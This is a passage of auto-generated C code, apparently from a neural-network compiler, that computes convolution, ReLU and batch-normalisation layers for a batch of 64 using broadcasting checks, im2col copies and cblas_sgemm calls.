x17987;\nbool x18000 = x17999 == 256;\nif (x18000) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x18007 = x17987;\nbool x18009 = x17938 == 1;\nint32_t x18008 = 256 / x18007;\nbool x18010 = x18008 == 1;\nbool x18014;\nif (x454) {\nbool x18011 = x18009 || x18010;\nbool x18012 = x17938 == x18008;\nbool x18013 = x18011 || x18012;\nx18014 = x18013;\n} else {\nx18014 = false;\n}\nbool x18018;\nif (x18014) {\nx18018 = x18017;\n} else {\nx18018 = false;\n}\nbool x18019;\nif (x18018) {\nx18019 = x18017;\n} else {\nx18019 = false;\n}\nif (x18019) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x17938,x17940,x17940,1,x18008,1,1);\nassert(false && \"\");\n}\nbool x18025 = x17938 <= x18008;\nint32_t x18026;\nif (x18025) {\nx18026 = x18008;\n} else {\nx18026 = x17938;\n}\nint32_t x18035 = x18026 * x18034;\nint32_t x18036 = 64 * x18035;\nfloat* x18037 = (float*)myMalloc(x18036 * sizeof(float));;\nint32_t x18038;\nif (x18009) {\nx18038 = 0;\n} else {\nx18038 = x17946;\n}\nint32_t x18041;\nif (x18010) {\nx18041 = 0;\n} else {\nx18041 = 1;\n}\nfor(int x18042=0; x18042 < 64; x18042++) {\nint32_t x18054 = x17947 * x18042;\nint32_t x18048 = x18035 * x18042;\nfor(int x18044=0; x18044 < x18026; x18044++) {\nint32_t x18055 = x18038 * x18044;\nint32_t x18056 = x18054 + x18055;\nint32_t x18061 = x18041 * x18044;\nint32_t x18050 = x18034 * x18044;\nfor(int x18046=0; x18046 < x18028; x18046++) {\nint32_t x18057 = x18039 * x18046;\nint32_t x18058 = x18056 + x18057;\nint32_t x18052 = x18028 * x18046;\nfor(int x18047=0; x18047 < x18028; x18047++) {\nint32_t x18059 = x18040 * x18047;\nint32_t x18060 = x18058 + x18059;\nfloat x18062 = x17949[x18060];\nfloat x18063 = x185[x18061];\nint32_t x18049 = x18047 + x18048;\nint32_t x18051 = x18049 + x18050;\nint32_t x18053 = x18051 + x18052;\nfloat x18064 = x18062 + x18063;\nx18037[x18053] = x18064;\n\n}\n\n}\n\n}\n\n}\nfloat* x18074 = (float*)myMalloc(x18036 * sizeof(float));;\nfor(int x18076=0; x18076 < x18036; x18076++) {\nfloat x18077 = x18037[x18076];\nbool x18078 = x18077 < 0.0f;\nif (x18078) {\nx18074[x18076] = 0.0f;\n} else {\nfloat x18081 = x18037[x18076];\nx18074[x18076] = x18081;\n}\n\n}\nfloat* x18096 = (float*)myMalloc(x18095 * sizeof(float));;\nint32_t x18097 = 9 * x18026;\nint32_t x18100 = 64 * x18097;\nint32_t x18101 = x18100 * x18091;\nfloat* x18102 = (float*)myMalloc(x18101 * sizeof(float));;\nint32_t x18098 = x18097 * x18091;\nint32_t x18110 = x18026 * 3;\nint32_t x18111 = x18110 * 3;\nfor(int x18103=0; x18103 < 64; x18103++) {\nint32_t x18104 = x18103 * x18035;\nfloat* x18105 = x18074+x18104;\nint32_t x18106 = x18103 * x18092;\nfloat* x18107 = x18096+x18106;\nint32_t x18108 = x18103 * x18098;\nfloat* x18109 = x18102+x18108;\nfor(int x18113=0; x18113 < x18111; x18113++) {\nint32_t x18114 = x18113 / 9;\nint32_t x18118 = x18114 * 3;\nint32_t x18119 = x18118 * 3;\nint32_t x18120 = x18119 * x18090;\nint32_t x18121 = x18120 * x18090;\nint32_t x18115 = x18113 % 9;\nint32_t x18116 = x18115 / 3;\nint32_t x18122 = x18116 * 3;\nint32_t x18123 = x18122 * x18090;\nint32_t x18124 = x18123 * x18090;\nint32_t x18125 = x18121 + x18124;\nint32_t x18117 = x18115 % 3;\nint32_t x18126 = x18117 * x18090;\nint32_t x18127 = x18126 * x18090;\nint32_t x18128 = x18125 + x18127;\nfloat* x18129 = x18109+x18128;\nint32_t x18130 = x18114 * x18028;\nint32_t x18131 = x18130 * x18028;\nfloat* x18132 = x18105+x18131;\nint32_t x18145 = 1 - x18117;\nbool x18146 = x18145 > 0;\nint32_t x18147;\nif (x18146) {\nx18147 = x18145;\n} else {\nx18147 = 0;\n}\nint32_t x18148 = 3 - x18117;\nint32_t x18149 = x18148 - 1;\nint32_t x18150 = 1 - x18149;\nbool x18151 = x18150 > 0;\nint32_t x18152;\nif (x18151) {\nx18152 = x18150;\n} else {\nx18152 = 0;\n}\nint32_t x18153 = x18090 - x18152;\nint32_t x18154 = x18153 - x18147;\nbool x18155 = x18154 <= 0;\nbool x18159 = x18147 > 0;\nint32_t x18144 = -1 + x18117;\nbool x18172 = x18152 > 0;\nfor(int x18134=0; x18134 < x18090; x18134++) {\nint32_t x18135 = x18134 - 1;\nint32_t x18136 = x18135 + x18116;\nbool x18137 = x18136 < 0;\nbool x18138 = x18136 >= x18028;\nbool x18139 = x18137 || x18138;\nif (x18139) {\nint32_t x18140 = x18134 * x18090;\nfloat* x18141 = x18129+x18140;\nmemset(x18141, 0, 4 * x18090);;\n} else {\nif (x18155) {\nint32_t x18140 = x18134 * x18090;\nfloat* x18156 = x18129+x18140;\nmemset(x18156, 0, 4 * x18090);;\n} else {\nint32_t x18140 = x18134 * x18090;\nif (x18159) {\nfloat* x18160 = x18129+x18140;\nmemset(x18160, 0, 4 * x18147);;\n} else {\n}\n// may have segfault here\nint32_t x18165 = x18140 + x18147;\nfloat* x18166 = x18129+x18165;\nint32_t x18167 = x18136 * x18028;\nint32_t x18168 = x18167 + x18144;\nint32_t x18169 = x18168 + x18147;\nfloat* x18170 = x18132+x18169;\nmemcpy(x18166, x18170, 4 * x18154);;\nif (x18172) {\nint32_t x18173 = x18140 + x18090;\nint32_t x18174 = x18173 - x18152;\nfloat* x18175 = x18129+x18174;\nmemset(x18175, 0, 4 * x18152);;\n} else {\n}\n}\n}\n\n}\n\n}\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 256,x18091,x18097,1,x262,x18097,x18109,x18091,1,x18107,x18091);\n\n}\nint32_t x18190 = 0;\nint32_t x18191 = 1;\nx18191 *= 1;\nx18190 += 1;\nx18191 *= 1;\nx18191 *= 1;\nint32_t x18196 = x18190;\nbool x18197 = x18196 >= 2;\nif (x18197) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x18202 = x18196 == 0;\nif (x18202) {\nint32_t x18203 = x18191;\nbool x18204 = x18203 == 256;\nif (x18204) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x18211 = x18191;\nint32_t x18212 = 256 / x18211;\nbool x18213 = x18212 == 1;\nbool x18216;\nif (x454) {\nbool x18214 = 256 == x18212;\nbool x18215 = x18213 || x18214;\nx18216 = x18215;\n} else {\nx18216 = false;\n}\nbool x18220;\nif (x18216) {\nx18220 = x18219;\n} else {\nx18220 = false;\n}\nbool x18221;\nif (x18220) {\nx18221 = x18219;\n} else {\nx18221 = false;\n}\nif (x18221) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,256,x18090,x18090,1,x18212,1,1);\nassert(false && \"\");\n}\nbool x18227 = 256 <= x18212;\nint32_t x18228;\nif (x18227) {\nx18228 = x18212;\n} else {\nx18228 = 256;\n}\nint32_t x18237 = x18228 * x18236;\nint32_t x18238 = 64 * x18237;\nfloat* x18239 = (float*)myMalloc(x18238 * sizeof(float));;\nint32_t x18242;\nif (x18213) {\nx18242 = 0;\n} else {\nx18242 = 1;\n}\nfor(int x18243=0; x18243 < 64; x18243++) {\nint32_t x18255 = x18092 * x18243;\nint32_t x18249 = x18237 * x18243;\nfor(int x18245=0; x18245 < x18228; x18245++) {\nint32_t x18256 = x18091 * x18245;\nint32_t x18257 = x18255 + x18256;\nint32_t x18262 = x18242 * x18245;\nint32_t x18251 = x18236 * x18245;\nfor(int x18247=0; x18247 < x18230; x18247++) {\nint32_t x18258 = x18240 * x18247;\nint32_t x18259 = x18257 + x18258;\nint32_t x18253 = x18230 * x18247;\nfor(int x18248=0; x18248 < x18230; x18248++) {\nint32_t x18260 = x18241 * x18248;\nint32_t x18261 = x18259 + x18260;\nfloat x18263 = x18096[x18261];\nfloat x18264 = x250[x18262];\nint32_t x18250 = x18248 + x18249;\nint32_t x18252 = x18250 + x18251;\nint32_t x18254 = x18252 + x18253;\nfloat x18265 = x18263 - x18264;\nx18239[x18254] = x18265;\n\n}\n\n}\n\n}\n\n}\nfloat* x18275 = (float*)myMalloc(256 * sizeof(float));;\nfor(int x18276=0; x18276 < 256; x18276++) {\nfloat x18277 = x104[x18276];\nfloat x18278 = x18277 + 1.0E-5f;\nx18275[x18276] = x18278;\n\n}\nfloat* x18282 = (float*)myMalloc(256 * sizeof(float));;\nfor(int x18283=0; x18283 < 256; x18283++) {\nfloat x18284 = x18275[x18283];\ndouble x18285 = (double)x18284;\ndouble x18286 = sqrt(x18285);\nfloat x18287 = (float)x18286;\nx18282[x18283] = x18287;\n\n}\nint32_t x18291 = 0;\nint32_t x18292 = 1;\nx18292 *= 1;\nx18291 += 1;\nx18292 *= 1;\nx18292 *= 1;\nint32_t x18297 = x18291;\nbool x18298 = x18297 >= 2;\nif (x18298) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x18303 = x18297 == 0;\nif (x18303) {\nint32_t x18304 = x18292;\nbool x18305 = x18304 == 256;\nif (x18305) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x18312 = x18292;\nbool x18314 = x18228 == 1;\nint32_t x18313 = 256 / x18312;\nbool x18315 = x18313 == 1;\nbool x18319;\nif (x454) {\nbool x18316 = x18314 || x18315;\nbool x18317 = x18228 == x18313;\nbool x18318 = x18316 || x18317;\nx18319 = x18318;\n} else {\nx18319 = false;\n}\nbool x18323;\nif (x18319) {\nx18323 = x18322;\n} else {\nx18323 = false;\n}\nbool x18324;\nif (x18323) {\nx18324 = x18322;\n} else {\nx18324 = false;\n}\nif (x18324) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x18228,x18230,x18230,1,x18313,1,1);\nassert(false && \"\");\n}\nbool x18330 = x18228 <= x18313;\nint32_t x18331;\nif (x18330) {\nx18331 = x18313;\n} else {\nx18331 = x18228;\n}\nint32_t x18340 = x18331 * x18339;\nint32_t x18341 = 64 * x18340;\nfloat* x18342 = (float*)myMalloc(x18341 * sizeof(float));;\nint32_t x18343;\nif (x18314) {\nx18343 = 0;\n} else {\nx18343 = x18236;\n}\nint32_t x18346;\nif (x18315) {\nx18346 = 0;\n} else {\nx18346 = 1;\n}\nfor(int x18347=0; x18347 < 64; x18347++) {\nint32_t x18359 = x18237 * x18347;\nint32_t x18353 = x18340 * x18347;\nfor(int x18349=0; x18349 < x18331; x18349++) {\nint32_t x18360 = x18343 * x18349;\nint32_t x18361 = x18359 + x18360;\nint32_t x18366 = x18346 * x18349;\nint32_t x18355 = x18339 * x18349;\nfor(int x18351=0; x18351 < x18333; x18351++) {\nint32_t x18362 = x18344 * x18351;\nint32_t x18363 = x18361 + x18362;\nint32_t x18357 = x18333 * x18351;\nfor(int x18352=0; x18352 < x18333; x18352++) {\nint32_t x18364 = x18345 * x18352;\nint32_t x18365 = x18363 + x18364;\nfloat x18367 = x18239[x18365];\nfloat x18368 = x18282[x18366];\nint32_t x18354 = x18352 + x18353;\nint32_t x18356 = x18354 + x18355;\nint32_t x18358 = x18356 + x18357;\nfloat x18369 = x18367 / x18368;\nx18342[x18358] = x18369;\n\n}\n\n}\n\n}\n\n}\nint32_t x18379 = 0;\nint32_t x18380 = 1;\nx18380 *= 1;\nx18379 += 1;\nx18380 *= 1;\nx18380 *= 1;\nint32_t x18385 = x18379;\nbool x18386 = x18385 >= 2;\nif (x18386) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x18391 = x18385 == 0;\nif (x18391) {\nint32_t x18392 = x18380;\nbool x18393 = x18392 == 256;\nif (x18393) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x18400 = x18380;\nbool x18402 = x18331 == 1;\nint32_t x18401 = 256 / x18400;\nbool x18403 = x18401 == 1;\nbool x18407;\nif (x454) {\nbool x18404 = x18402 || x18403;\nbool x18405 = x18331 == x18401;\nbool x18406 = x18404 || x18405;\nx18407 = x18406;\n} else {\nx18407 = false;\n}\nbool x18411;\nif (x18407) {\nx18411 = x18410;\n} else {\nx18411 = false;\n}\nbool x18412;\nif (x18411) {\nx18412 = x18410;\n} else {\nx18412 = false;\n}\nif (x18412) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x18331,x18333,x18333,1,x18401,1,1);\nassert(false && \"\");\n}\nbool x18418 = x18331 <= x18401;\nint32_t x18419;\nif (x18418) {\nx18419 = x18401;\n} else {\nx18419 = x18331;\n}\nint32_t x18428 = x18419 * x18427;\nint32_t x18429 = 64 * x18428;\nfloat* x18430 = (float*)myMalloc(x18429 * sizeof(float));;\nint32_t x18431;\nif (x18402) {\nx18431 = 0;\n} else {\nx18431 = x18339;\n}\nint32_t x18434;\nif (x18403) {\nx18434 = 0;\n} else {\nx18434 = 1;\n}\nfor(int x18435=0; x18435 < 64; x18435++) {\nint32_t x18447 = x18340 * x18435;\nint32_t x18441 = x18428 * x18435;\nfor(int x18437=0; x18437 < x18419; x18437++) {\nint32_t x18448 = x18431 * x18437;\nint32_t x18449 = x18447 + x18448;\nint32_t x18454 = x18434 * x18437;\nint32_t x18443 = x18427 * x18437;\nfor(int x18439=0; x18439 < x18421; x18439++) {\nint32_t x18450 = x18432 * x18439;\nint32_t x18451 = x18449 + x18450;\nint32_t x18445 = x18421 * x18439;\nfor(int x18440=0; x18440 < x18421; x18440++) {\nint32_t x18452 = x18433 * x18440;\nint32_t x18453 = x18451 + x18452;\nfloat x18455 = x18342[x18453];\nfloat x18456 = x168[x18454];\nint32_t x18442 = x18440 + x18441;\nint32_t x18444 = x18442 + x18443;\nint32_t x18446 = x18444 + x18445;\nfloat x18457 = x18455 * x18456;\nx18430[x18446] = x18457;\n\n}\n\n}\n\n}\n\n}\nint32_t x18467 = 0;\nint32_t x18468 = 1;\nx18468 *= 1;\nx18467 += 1;\nx18468 *= 1;\nx18468 *= 1;\nint32_t x18473 = x18467;\nbool x18474 = x18473 >= 2;\nif (x18474) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x18479 = x18473 == 0;\nif (x18479) {\nint32_t x18480 = x18468;\nbool x18481 = x18480 == 256;\nif (x18481) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x18488 = x18468;\nbool x18490 = x18419 == 1;\nint32_t x18489 = 256 / x18488;\nbool x18491 = x18489 == 1;\nbool x18495;\nif (x454) {\nbool x18492 = x18490 || x18491;\nbool x18493 = x18419 == x18489;\nbool x18494 = x18492 || x18493;\nx18495 = x18494;\n} else {\nx18495 = false;\n}\nbool x18499;\nif (x18495) {\nx18499 = x18498;\n} else {\nx18499 = false;\n}\nbool x18500;\nif (x18499) {\nx18500 = x18498;\n} else {\nx18500 = false;\n}\nif (x18500) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x18419,x18421,x18421,1,x18489,1,1);\nassert(false && \"\");\n}\nbool x18506 = x18419 <= x18489;\nint32_t x18507;\nif (x18506) {\nx18507 = x18489;\n} else {\nx18507 = x18419;\n}\nint32_t x18516 = x18507 * x18515;\nint32_t x18517 = 64 * x18516;\nfloat* x18518 = (float*)myMalloc(x18517 * sizeof(float));;\nint32_t x18519;\nif (x18490) {\nx18519 = 0;\n} else {\nx18519 = x18427;\n}\nint32_t x18522;\nif (x18491) {\nx18522 = 0;\n} else {\nx18522 = 1;\n}\nfor(int x18523=0; x18523 < 64; x18523++) {\nint32_t x18535 = x18428 * x18523;\nint32_t x18529 = x18516 * x18523;\nfor(int x18525=0; x18525 < x18507; x18525++) {\nint32_t x18536 = x18519 * x18525;\nint32_t x18537 = x18535 + x18536;\nint32_t x18542 = x18522 * x18525;\nint32_t x18531 = x18515 * x18525;\nfor(int x18527=0; x18527 < x18509; x18527++) {\nint32_t x18538 = x18520 * x18527;\nint32_t x18539 = x18537 + x18538;\nint32_t x18533 = x18509 * x18527;\nfor(int x18528=0; x18528 < x18509; x18528++) {\nint32_t x18540 = x18521 * x18528;\nint32_t x18541 = x18539 + x18540;\nfloat x18543 = x18430[x18541];\nfloat x18544 = x109[x18542];\nint32_t x18530 = x18528 + x18529;\nint32_t x18532 = x18530 + x18531;\nint32_t x18534 = x18532 + x18533;\nfloat x18545 = x18543 + x18544;\nx18518[x18534] = x18545;\n\n}\n\n}\n\n}\n\n}\nfloat* x18555 = (float*)myMalloc(x18517 * sizeof(float));;\nfor(int x18557=0; x18557 < x18517; x18557++) {\nfloat x18558 = x18518[x18557];\nbool x18559 = x18558 < 0.0f;\nif (x18559) {\nx18555[x18557] = 0.0f;\n} else {\nfloat x18562 = x18518[x18557];\nx18555[x18557] = x18562;\n}\n\n}\nfloat* x18576 = (float*)myMalloc(x18575 * sizeof(float));;\nint32_t x18579 = 64 * x18507;\nint32_t x18580 = x18579 * x18571;\nfloat* x18581 = (float*)myMalloc(x18580 * sizeof(float));;\nint32_t x18577 = x18507 * x18571;\nfor(int x18582=0; x18582 < 64; x18582++) {\nint32_t x18583 = x18582 * x18516;\nfloat* x18584 = x18555+x18583;\nint32_t x18585 = x18582 * x18572;\nfloat* x18586 = x18576+x18585;\nint32_t x18587 = x18582 * x18577;\nfloat* x18588 = x18581+x18587;\nfor(int x18589=0; x18589 < x18507; x18589++) {\nint32_t x18590 = x18589 / 1;\nint32_t x18594 = x18590 * x18570;\nint32_t x18595 = x18594 * x18570;\nint32_t x18591 = x18589 % 1;\nint32_t x18592 = x18591 / 1;\nint32_t x18596 = x18592 * x18570;\nint32_t x18597 = x18596 * x18570;\nint32_t x18598 = x18595 + x18597;\nint32_t x18593 = x18591 % 1;\nint32_t x18599 = x18593 * x18570;\nint32_t x18600 = x18599 * x18570;\nint32_t x18601 = x18598 + x18600;\nfloat* x18602 = x18588+x18601;\nint32_t x18603 = x18590 * x18509;\nint32_t x18604 = x18603 * x18509;\nfloat* x18605 = x18584+x18604;\nfor(int x18607=0; x18607 < x18570; x18607++) {\nint32_t x18609 = x18607 * x18570;\nfloat* x18610 = x18602+x18609;\nint32_t x18608 = x18607 + x18592;\nint32_t x18611 = x18608 * x18509;\nint32_t x18612 = x18611 + x18593;\nfloat* x18613 = x18605+x18612;\nmemcpy(x18610, x18613, 4 * x18570);;\n\n}\n\n}\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 1024,x18571,x18507,1,x221,x18507,x18588,x18571,1,x18586,x18571);\n\n}\nint32_t x18622 = 0;\nint32_t x18623 = 1;\nx18623 *= 1;\nx18622 += 1;\nx18623 *= 1;\nx18623 *= 1;\nint32_t x18628 = x18622;\nbool x18629 = x18628 >= 2;\nif (x18629) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x18634 = x18628 == 0;\nif (x18634) {\nint32_t x18635 = x18623;\nbool x18636 = x18635 == 1024;\nif (x18636) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x18643 = x18623;\nint32_t x18644 = 1024 / x18643;\nbool x18645 = x18644 == 1;\nbool x18648;\nif (x454) {\nbool x18646 = 1024 == x18644;\nbool x18647 = x18645 || x18646;\nx18648 = x18647;\n} else {\nx18648 = false;\n}\nbool x18652;\nif (x18648) {\nx18652 = x18651;\n} else {\nx18652 = false;\n}\nbool x18653;\nif (x18652) {\nx18653 = x18651;\n} else {\nx18653 = false;\n}\nif (x18653) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,1024,x18570,x18570,1,x18644,1,1);\nassert(false && \"\");\n}\nbool x18659 = 1024 <= x18644;\nint32_t x18660;\nif (x18659) {\nx18660 = x18644;\n} else {\nx18660 = 1024;\n}\nint32_t x18669 = x18660 * x18668;\nint32_t x18670 = 64 * x18669;\nfloat* x18671 = (float*)myMalloc(x18670 * sizeof(float));;\nint32_t x18674;\nif (x18645) {\nx18674 = 0;\n} else {\nx18674 = 1;\n}\nfor(int x18675=0; x18675 < 64; x18675++) {\nint32_t x18687 = x18572 * x18675;\nint32_t x18681 = x18669 * x18675;\nfor(int x18677=0; x18677 < x18660; x18677++) {\nint32_t x18688 = x18571 * x18677;\nint32_t x18689 = x18687 + x18688;\nint32_t x18694 = x18674 * x18677;\nint32_t x18683 = x18668 * x18677;\nfor(int x18679=0; x18679 < x18662; x18679++) {\nint32_t x18690 = x18672 * x18679;\nint32_t x18691 = x18689 + x18690;\nint32_t x18685 = x18662 * x18679;\nfor(int x18680=0; x18680 < x18662; x18680++) {\nint32_t x18692 = x18673 * x18680;\nint32_t x18693 = x18691 + x18692;\nfloat x18695 = x18576[x18693];\nfloat x18696 = x209[x18694];\nint32_t x18682 = x18680 + x18681;\nint32_t x18684 = x18682 + x18683;\nint32_t x18686 = x18684 + x18685;\nfloat x18697 = x18695 - x18696;\nx18671[x18686] = x18697;\n\n}\n\n}\n\n}\n\n}\nfloat* x18707 = (float*)myMalloc(1024 * sizeof(float));;\nfor(int x18708=0; x18708 < 1024; x18708++) {\nfloat x18709 = x272[x18708];\nfloat x18710 = x18709 + 1.0E-5f;\nx18707[x18708] = x18710;\n\n}\nfloat* x18714 = (float*)myMalloc(1024 * sizeof(float));;\nfor(int x18715=0; x18715 < 1024; x18715++) {\nfloat x18716 = x18707[x18715];\ndouble x18717 = (double)x18716;\ndouble x18718 = sqrt(x18717);\nfloat x18719 = (float)x18718;\nx18714[x18715] = x18719;\n\n}\nint32_t x18723 = 0;\nint32_t x18724 = 1;\nx18724 *= 1;\nx18723 += 1;\nx18724 *= 1;\nx18724 *= 1;\nint32_t x18729 = x18723;\nbool x18730 = x18729 >= 2;\nif (x18730) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x18735 = x18729 == 0;\nif (x18735) {\nint32_t x18736 = x18724;\nbool x18737 = x18736 == 1024;\nif (x18737) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x18744 = x18724;\nbool x18746 = x18660 == 1;\nint32_t x18745 = 1024 / x18744;\nbool x18747 = x18745 == 1;\nbool x18751;\nif (x454) {\nbool x18748 = x18746 || x18747;\nbool x18749 = x18660 == x18745;\nbool x18750 = x18748 || x18749;\nx18751 = x18750;\n} else {\nx18751 = false;\n}\nbool x18755;\nif (x18751) {\nx18755 = x18754;\n} else {\nx18755 = false;\n}\nbool x18756;\nif (x18755) {\nx18756 = x18754;\n} else {\nx18756 = false;\n}\nif (x18756) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x18660,x18662,x18662,1,x18745,1,1);\nassert(false && \"\");\n}\nbool x18762 = x18660 <= x18745;\nint32_t x18763;\nif (x18762) {\nx18763 = x18745;\n} else {\nx18763 = x18660;\n}\nint32_t x18772 = x18763 * x18771;\nint32_t x18773 = 64 * x18772;\nfloat* x18774 = (float*)myMalloc(x18773 * sizeof(float));;\nint32_t x18775;\nif (x18746) {\nx18775 = 0;\n} else {\nx18775 = x18668;\n}\nint32_t x18778;\nif (x18747) {\nx18778 = 0;\n} else {\nx18778 = 1;\n}\nfor(int x18779=0; x18779 < 64; x18779++) {\nint32_t x18791 = x18669 * x18779;\nint32_t x18785 = x18772 * x18779;\nfor(int x18781=0; x18781 < x18763; x18781++) {\nint32_t x18792 = x18775 * x18781;\nint32_t x18793 = x18791 + x18792;\nint32_t x18798 = x18778 * x18781;\nint32_t x18787 = x18771 * x18781;\nfor(int x18783=0; x18783 < x18765; x18783++) {\nint32_t x18794 = x18776 * x18783;\nint32_t x18795 = x18793 + x18794;\nint32_t x18789 = x18765 * x18783;\nfor(int x18784=0; x18784 < x18765; x18784++) {\nint32_t x18796 = x18777 * x18784;\nint32_t x18797 = x18795 + x18796;\nfloat x18799 = x18671[x18797];\nfloat x18800 = x18714[x18798];\nint32_t x18786 = x18784 + x18785;\nint32_t x18788 = x18786 + x18787;\nint32_t x18790 = x18788 + x18789;\nfloat x18801 = x18799 / x18800;\nx18774[x18790] = x18801;\n\n}\n\n}\n\n}\n\n}\nint32_t x18811 = 0;\nint32_t x18812 = 1;\nx18812 *= 1;\nx18811 += 1;\nx18812 *= 1;\nx18812 *= 1;\nint32_t x18817 = x18811;\nbool x18818 = x18817 >= 2;\nif (x18818) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x18823 = x18817 == 0;\nif (x18823) {\nint32_t x18824 = x18812;\nbool x18825 = x18824 == 1024;\nif (x18825) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x18832 = x18812;\nbool x18834 = x18763 == 1;\nint32_t x18833 = 1024 / x18832;\nbool x18835 = x18833 == 1;\nbool x18839;\nif (x454) {\nbool x18836 = x18834 || x18835;\nbool x18837 = x18763 == x18833;\nbool x18838 = x18836 || x18837;\nx18839 = x18838;\n} else {\nx18839 = false;\n}\nbool x18843;\nif (x18839) {\nx18843 = x18842;\n} else {\nx18843 = false;\n}\nbool x18844;\nif (x18843) {\nx18844 = x18842;\n} else {\nx18844 = false;\n}\nif (x18844) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x18763,x18765,x18765,1,x18833,1,1);\nassert(false && \"\");\n}\nbool x18850 = x18763 <= x18833;\nint32_t x18851;\nif (x18850) {\nx18851 = x18833;\n} else {\nx18851 = x18763;\n}\nint32_t x18860 = x18851 * x18859;\nint32_t x18861 = 64 * x18860;\nfloat* x18862 = (float*)myMalloc(x18861 * sizeof(float));;\nint32_t x18863;\nif (x18834) {\nx18863 = 0;\n} else {\nx18863 = x18771;\n}\nint32_t x18866;\nif (x18835) {\nx18866 = 0;\n} else {\nx18866 = 1;\n}\nfor(int x18867=0; x18867 < 64; x18867++) {\nint32_t x18879 = x18772 * x18867;\nint32_t x18873 = x18860 * x18867;\nfor(int x18869=0; x18869 < x18851; x18869++) {\nint32_t x18880 = x18863 * x18869;\nint32_t x18881 = x18879 + x18880;\nint32_t x18886 = x18866 * x18869;\nint32_t x18875 = x18859 * x18869;\nfor(int x18871=0; x18871 < x18853; x18871++) {\nint32_t x18882 = x18864 * x18871;\nint32_t x18883 = x18881 + x18882;\nint32_t x18877 = x18853 * x18871;\nfor(int x18872=0; x18872 < x18853; x18872++) {\nint32_t x18884 = x18865 * x18872;\nint32_t x18885 = x18883 + x18884;\nfloat x18887 = x18774[x18885];\nfloat x18888 = x59[x18886];\nint32_t x18874 = x18872 + x18873;\nint32_t x18876 = x18874 + x18875;\nint32_t x18878 = x18876 + x18877;\nfloat x18889 = x18887 * x18888;\nx18862[x18878] = x18889;\n\n}\n\n}\n\n}\n\n}\nint32_t x18899 = 0;\nint32_t x18900 = 1;\nx18900 *= 1;\nx18899 += 1;\nx18900 *= 1;\nx18900 *= 1;\nint32_t x18905 = x18899;\nbool x18906 = x18905 >= 2;\nif (x18906) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x18911 = x18905 == 0;\nif (x18911) {\nint32_t x18912 = x18900;\nbool x18913 = x18912 == 1024;\nif (x18913) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x18920 = x18900;\nbool x18922 = x18851 == 1;\nint32_t x18921 = 1024 / x18920;\nbool x18923 = x18921 == 1;\nbool x18927;\nif (x454) {\nbool x18924 = x18922 || x18923;\nbool x18925 = x18851 == x18921;\nbool x18926 = x18924 || x18925;\nx18927 = x18926;\n} else {\nx18927 = false;\n}\nbool x18931;\nif (x18927) {\nx18931 = x18930;\n} else {\nx18931 = false;\n}\nbool x18932;\nif (x18931) {\nx18932 = x18930;\n} else {\nx18932 = false;\n}\nif (x18932) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x18851,x18853,x18853,1,x18921,1,1);\nassert(false && \"\");\n}\nbool x18938 = x18851 <= x18921;\nint32_t x18939;\nif (x18938) {\nx18939 = x18921;\n} else {\nx18939 = x18851;\n}\nint32_t x18948 = x18939 * x18947;\nint32_t x18949 = 64 * x18948;\nfloat* x18950 = (float*)myMalloc(x18949 * sizeof(float));;\nint32_t x18951;\nif (x18922) {\nx18951 = 0;\n} else {\nx18951 = x18859;\n}\nint32_t x18954;\nif (x18923) {\nx18954 = 0;\n} else {\nx18954 = 1;\n}\nfor(int x18955=0; x18955 < 64; x18955++) {\nint32_t x18967 = x18860 * x18955;\nint32_t x18961 = x18948 * x18955;\nfor(int x18957=0; x18957 < x18939; x18957++) {\nint32_t x18968 = x18951 * x18957;\nint32_t x18969 = x18967 + x18968;\nint32_t x18974 = x18954 * x18957;\nint32_t x18963 = x18947 * x18957;\nfor(int x18959=0; x18959 < x18941; x18959++) {\nint32_t x18970 = x18952 * x18959;\nint32_t x18971 = x18969 + x18970;\nint32_t x18965 = x18941 * x18959;\nfor(int x18960=0; x18960 < x18941; x18960++) {\nint32_t x18972 = x18953 * x18960;\nint32_t x18973 = x18971 + x18972;\nfloat x18975 = 